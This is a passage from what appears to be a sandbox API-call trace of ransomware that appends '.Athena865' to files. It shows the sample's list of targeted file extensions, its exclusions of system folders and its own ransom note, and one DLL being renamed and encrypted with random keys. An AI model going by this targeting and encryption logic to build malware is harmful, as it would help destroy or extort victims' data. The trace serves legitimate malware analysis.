returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0040.005] lstrlenW (lpString="dcx") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0040.005] lstrlenW (lpString="ddl") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0040.005] lstrlenW (lpString="dlis") returned 4 [0040.005] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0040.005] lstrlenW (lpString="dp1") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0040.005] lstrlenW (lpString="dqy") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0040.005] lstrlenW (lpString="dsk") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0040.005] lstrlenW (lpString="dsn") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0040.005] lstrlenW (lpString="dtsx") returned 4 [0040.005] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0040.005] lstrlenW (lpString="dxl") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0040.005] lstrlenW (lpString="eco") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0040.005] lstrlenW (lpString="ecx") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0040.005] lstrlenW (lpString="edb") returned 3 [0040.005] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0040.005] lstrlenW (lpString="epim") returned 4 [0040.005] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0040.005] lstrlenW (lpString="fcd") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0040.006] lstrlenW (lpString="fdb") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0040.006] lstrlenW (lpString="fic") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0040.006] lstrlenW (lpString="flexolibrary") returned 12 [0040.006] lstrlenW (lpString="fm5") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0040.006] lstrlenW (lpString="fmp") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0040.006] lstrlenW (lpString="fmp12") returned 5 [0040.006] lstrcmpiW (lpString1="S.dll", lpString2="fmp12") returned 1 [0040.006] lstrlenW (lpString="fmpsl") returned 5 [0040.006] lstrcmpiW (lpString1="S.dll", lpString2="fmpsl") returned 1 [0040.006] lstrlenW (lpString="fol") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0040.006] lstrlenW (lpString="fp3") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0040.006] lstrlenW (lpString="fp4") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0040.006] lstrlenW (lpString="fp5") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0040.006] lstrlenW (lpString="fp7") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0040.006] lstrlenW (lpString="fpt") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0040.006] lstrlenW (lpString="frm") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0040.006] lstrlenW (lpString="gdb") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0040.006] lstrlenW (lpString="gdb") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0040.006] lstrlenW (lpString="grdb") returned 4 [0040.006] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0040.006] lstrlenW (lpString="gwi") returned 3 [0040.006] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0040.006] lstrlenW (lpString="hdb") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0040.007] lstrlenW (lpString="his") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0040.007] lstrlenW (lpString="ib") returned 2 [0040.007] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0040.007] lstrlenW (lpString="idb") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0040.007] lstrlenW (lpString="ihx") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0040.007] lstrlenW (lpString="itdb") returned 4 [0040.007] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0040.007] lstrlenW (lpString="itw") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0040.007] lstrlenW (lpString="jet") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0040.007] lstrlenW (lpString="jtx") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0040.007] lstrlenW (lpString="kdb") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0040.007] lstrlenW (lpString="kexi") returned 4 [0040.007] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0040.007] lstrlenW (lpString="kexic") returned 5 [0040.007] lstrcmpiW (lpString1="S.dll", lpString2="kexic") returned 1 [0040.007] lstrlenW (lpString="kexis") returned 5 [0040.007] lstrcmpiW (lpString1="S.dll", lpString2="kexis") returned 1 [0040.007] lstrlenW (lpString="lgc") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0040.007] lstrlenW (lpString="lwx") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0040.007] lstrlenW (lpString="maf") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0040.007] lstrlenW (lpString="maq") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0040.007] lstrlenW (lpString="mar") returned 3 [0040.007] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0040.007] lstrlenW (lpString="marshal") returned 7 [0040.008] lstrcmpiW (lpString1="RES.dll", lpString2="marshal") returned 1 [0040.008] lstrlenW (lpString="mas") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0040.008] lstrlenW (lpString="mav") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0040.008] lstrlenW (lpString="maw") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0040.008] lstrlenW (lpString="mdbhtml") returned 7 [0040.008] lstrcmpiW (lpString1="RES.dll", lpString2="mdbhtml") returned 1 [0040.008] lstrlenW (lpString="mdn") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0040.008] lstrlenW (lpString="mdt") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0040.008] lstrlenW (lpString="mfd") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0040.008] lstrlenW (lpString="mpd") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0040.008] lstrlenW (lpString="mrg") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0040.008] lstrlenW (lpString="mud") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0040.008] lstrlenW (lpString="mwb") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0040.008] lstrlenW (lpString="myd") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0040.008] lstrlenW (lpString="ndf") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0040.008] lstrlenW (lpString="nnt") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0040.008] lstrlenW (lpString="nrmlib") returned 6 [0040.008] lstrcmpiW (lpString1="ES.dll", lpString2="nrmlib") returned -1 [0040.008] lstrlenW (lpString="ns2") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0040.008] lstrlenW (lpString="ns3") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0040.008] lstrlenW (lpString="ns4") returned 3 [0040.008] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0040.009] lstrlenW (lpString="nsf") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0040.009] lstrlenW (lpString="nv") returned 2 [0040.009] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0040.009] lstrlenW (lpString="nv2") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0040.009] lstrlenW (lpString="nwdb") returned 4 [0040.009] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0040.009] lstrlenW (lpString="nyf") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0040.009] lstrlenW (lpString="odb") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0040.009] lstrlenW (lpString="odb") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0040.009] lstrlenW (lpString="oqy") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0040.009] lstrlenW (lpString="ora") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0040.009] lstrlenW (lpString="orx") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0040.009] lstrlenW (lpString="owc") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0040.009] lstrlenW (lpString="p96") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0040.009] lstrlenW (lpString="p97") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0040.009] lstrlenW (lpString="pan") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0040.009] lstrlenW (lpString="pdb") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0040.009] lstrlenW (lpString="pdm") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0040.009] lstrlenW (lpString="pnz") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0040.009] lstrlenW (lpString="qry") returned 3 [0040.009] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0040.009] lstrlenW (lpString="qvd") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0040.010] lstrlenW (lpString="rbf") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0040.010] lstrlenW (lpString="rctd") returned 4 [0040.010] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0040.010] lstrlenW (lpString="rod") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0040.010] lstrlenW (lpString="rodx") returned 4 [0040.010] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0040.010] lstrlenW (lpString="rpd") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0040.010] lstrlenW (lpString="rsd") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0040.010] lstrlenW (lpString="sas7bdat") returned 8 [0040.010] lstrcmpiW (lpString1="ERES.dll", lpString2="sas7bdat") returned -1 [0040.010] lstrlenW (lpString="sbf") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0040.010] lstrlenW (lpString="scx") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0040.010] lstrlenW (lpString="sdb") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0040.010] lstrlenW (lpString="sdc") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0040.010] lstrlenW (lpString="sdf") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0040.010] lstrlenW (lpString="sis") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0040.010] lstrlenW (lpString="spq") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0040.010] lstrlenW (lpString="te") returned 2 [0040.010] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0040.010] lstrlenW (lpString="teacher") returned 7 [0040.010] lstrcmpiW (lpString1="RES.dll", lpString2="teacher") returned -1 [0040.010] lstrlenW (lpString="tmd") returned 3 [0040.010] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0040.010] lstrlenW (lpString="tps") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0040.011] lstrlenW (lpString="trc") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0040.011] lstrlenW (lpString="trc") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0040.011] lstrlenW (lpString="trm") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0040.011] lstrlenW (lpString="udb") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0040.011] lstrlenW (lpString="udl") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0040.011] lstrlenW (lpString="usr") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0040.011] lstrlenW (lpString="v12") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0040.011] lstrlenW (lpString="vis") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0040.011] lstrlenW (lpString="vpd") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0040.011] lstrlenW (lpString="vvv") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0040.011] lstrlenW (lpString="wdb") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0040.011] lstrlenW (lpString="wmdb") returned 4 [0040.011] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0040.011] lstrlenW (lpString="wrk") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0040.011] lstrlenW (lpString="xdb") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0040.011] lstrlenW (lpString="xld") returned 3 [0040.011] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0040.011] lstrlenW (lpString="xmlff") returned 5 [0040.011] lstrcmpiW (lpString1="S.dll", lpString2="xmlff") returned -1 [0040.011] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Mail\\MSOERES.dll.Athena865") returned 51 [0040.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Mail\\MSOERES.dll" (normalized: "c:\\program files\\windows mail\\msoeres.dll"), lpNewFileName="C:\\Program Files\\Windows Mail\\MSOERES.dll.Athena865" (normalized: "c:\\program files\\windows mail\\msoeres.dll.athena865"), dwFlags=0x1) returned 1 [0040.020] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\MSOERES.dll.Athena865" (normalized: "c:\\program files\\windows mail\\msoeres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0040.020] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2836992) returned 1 [0040.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0040.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.020] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.021] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.021] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.022] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b4d00, lpName=0x0) returned 0x154 [0040.023] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xb4d00) returned 0x2d50000 [0040.075] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2e10000 [0040.167] UnmapViewOfFile (lpBaseAddress=0x2e10000) returned 1 [0040.189] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.190] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.190] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0040.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0040.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.191] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0040.197] CloseHandle (hObject=0x154) returned 1 [0040.197] CloseHandle (hObject=0x17c) returned 1 [0040.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0040.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.262] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2=".") returned 1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="..") returned 1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="windows") returned -1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="bootmgr") returned 1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="temp") returned -1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="pagefile.sys") returned -1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="boot") returned 1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="ids.txt") returned 1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="ntuser.dat") returned 1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="perflogs") returned -1 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2="MSBuild") returned 1 [0040.262] lstrlenW (lpString="oeimport.dll") returned 12 [0040.262] lstrcpyW (in: lpString1=0x241e884, lpString2="oeimport.dll" | out: lpString1="oeimport.dll") returned="oeimport.dll" [0040.262] lstrlenW (lpString="oeimport.dll") returned 12 [0040.262] lstrlenW (lpString="Athena865") returned 9 [0040.262] lstrcmpiW (lpString1="mport.dll", lpString2="Athena865") returned 1 [0040.262] lstrlenW (lpString=".dll") returned 4 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2=".dll") returned 1 [0040.262] lstrlenW (lpString=".lnk") returned 4 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2=".lnk") returned 1 [0040.262] lstrlenW (lpString=".ini") returned 4 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2=".ini") returned 1 [0040.262] lstrlenW (lpString=".sys") returned 4 [0040.262] lstrcmpiW (lpString1="oeimport.dll", lpString2=".sys") returned 1 [0040.263] lstrlenW (lpString="oeimport.dll") returned 12 [0040.263] lstrlenW (lpString="bak") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0040.263] lstrlenW (lpString="ba_") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0040.263] lstrlenW (lpString="dbb") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0040.263] lstrlenW (lpString="vmdk") returned 4 [0040.263] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0040.263] lstrlenW (lpString="rar") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0040.263] lstrlenW (lpString="zip") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0040.263] lstrlenW (lpString="tgz") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0040.263] lstrlenW (lpString="vbox") returned 4 [0040.263] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0040.263] lstrlenW (lpString="vdi") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0040.263] lstrlenW (lpString="vhd") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0040.263] lstrlenW (lpString="vhdx") returned 4 [0040.263] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0040.263] lstrlenW (lpString="avhd") returned 4 [0040.263] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0040.263] lstrlenW (lpString="db") returned 2 [0040.263] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0040.263] lstrlenW (lpString="db2") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0040.263] lstrlenW (lpString="db3") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0040.263] lstrlenW (lpString="dbf") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0040.263] lstrlenW (lpString="mdf") returned 3 [0040.263] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0040.263] lstrlenW (lpString="mdb") returned 3 [0040.264] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0040.264] lstrlenW (lpString="sql") returned 3 [0040.264] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0040.264] lstrlenW (lpString="sqlite") returned 6 [0040.264] lstrcmpiW (lpString1="rt.dll", lpString2="sqlite") returned -1 [0040.264] lstrlenW (lpString="sqlite3") returned 7 [0040.264] lstrcmpiW (lpString1="ort.dll", lpString2="sqlite3") returned -1 [0040.264] lstrlenW (lpString="sqlitedb") returned 8 [0040.264] lstrcmpiW (lpString1="port.dll", lpString2="sqlitedb") returned -1 [0040.264] lstrlenW (lpString="xml") returned 3 [0040.264] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0040.264] lstrlenW (lpString="$er") returned 3 [0040.264] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0040.264] lstrlenW (lpString="4dd") returned 3 [0040.264] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0040.264] lstrlenW (lpString="4dl") returned 3 [0040.264] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0040.264] lstrlenW (lpString="^^^") returned 3 [0040.264] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0040.264] lstrlenW (lpString="abs") returned 3 [0040.264] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0040.264] lstrlenW (lpString="abx") returned 3 [0040.264] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0040.264] lstrlenW (lpString="accdb") returned 5 [0040.264] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0040.264] lstrlenW (lpString="accdc") returned 5 [0040.264] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0040.264] lstrlenW (lpString="accde") returned 5 [0040.264] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0040.264] lstrlenW (lpString="accdr") returned 5 [0040.264] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0040.264] lstrlenW (lpString="accdt") returned 5 [0040.264] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0040.264] lstrlenW (lpString="accdw") returned 5 [0040.264] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0040.264] lstrlenW (lpString="accft") returned 5 [0040.265] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0040.265] lstrlenW (lpString="adb") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0040.265] lstrlenW (lpString="adb") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0040.265] lstrlenW (lpString="ade") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0040.265] lstrlenW (lpString="adf") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0040.265] lstrlenW (lpString="adn") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0040.265] lstrlenW (lpString="adp") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0040.265] lstrlenW (lpString="alf") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0040.265] lstrlenW (lpString="ask") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0040.265] lstrlenW (lpString="btr") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0040.265] lstrlenW (lpString="cat") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0040.265] lstrlenW (lpString="cdb") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0040.265] lstrlenW (lpString="ckp") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0040.265] lstrlenW (lpString="cma") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0040.265] lstrlenW (lpString="cpd") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0040.265] lstrlenW (lpString="dacpac") returned 6 [0040.265] lstrcmpiW (lpString1="rt.dll", lpString2="dacpac") returned 1 [0040.265] lstrlenW (lpString="dad") returned 3 [0040.265] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0040.265] lstrlenW (lpString="dadiagrams") returned 10 [0040.265] lstrcmpiW (lpString1="import.dll", lpString2="dadiagrams") returned 1 [0040.276] lstrlenW (lpString="daschema") returned 8 [0040.276] lstrcmpiW (lpString1="port.dll", lpString2="daschema") returned 1 [0040.276] lstrlenW (lpString="db-journal") returned 10 [0040.276] lstrcmpiW (lpString1="import.dll", lpString2="db-journal") returned 1 [0040.276] lstrlenW (lpString="db-shm") returned 6 [0040.276] lstrcmpiW (lpString1="rt.dll", lpString2="db-shm") returned 1 [0040.276] lstrlenW (lpString="db-wal") returned 6 [0040.276] lstrcmpiW 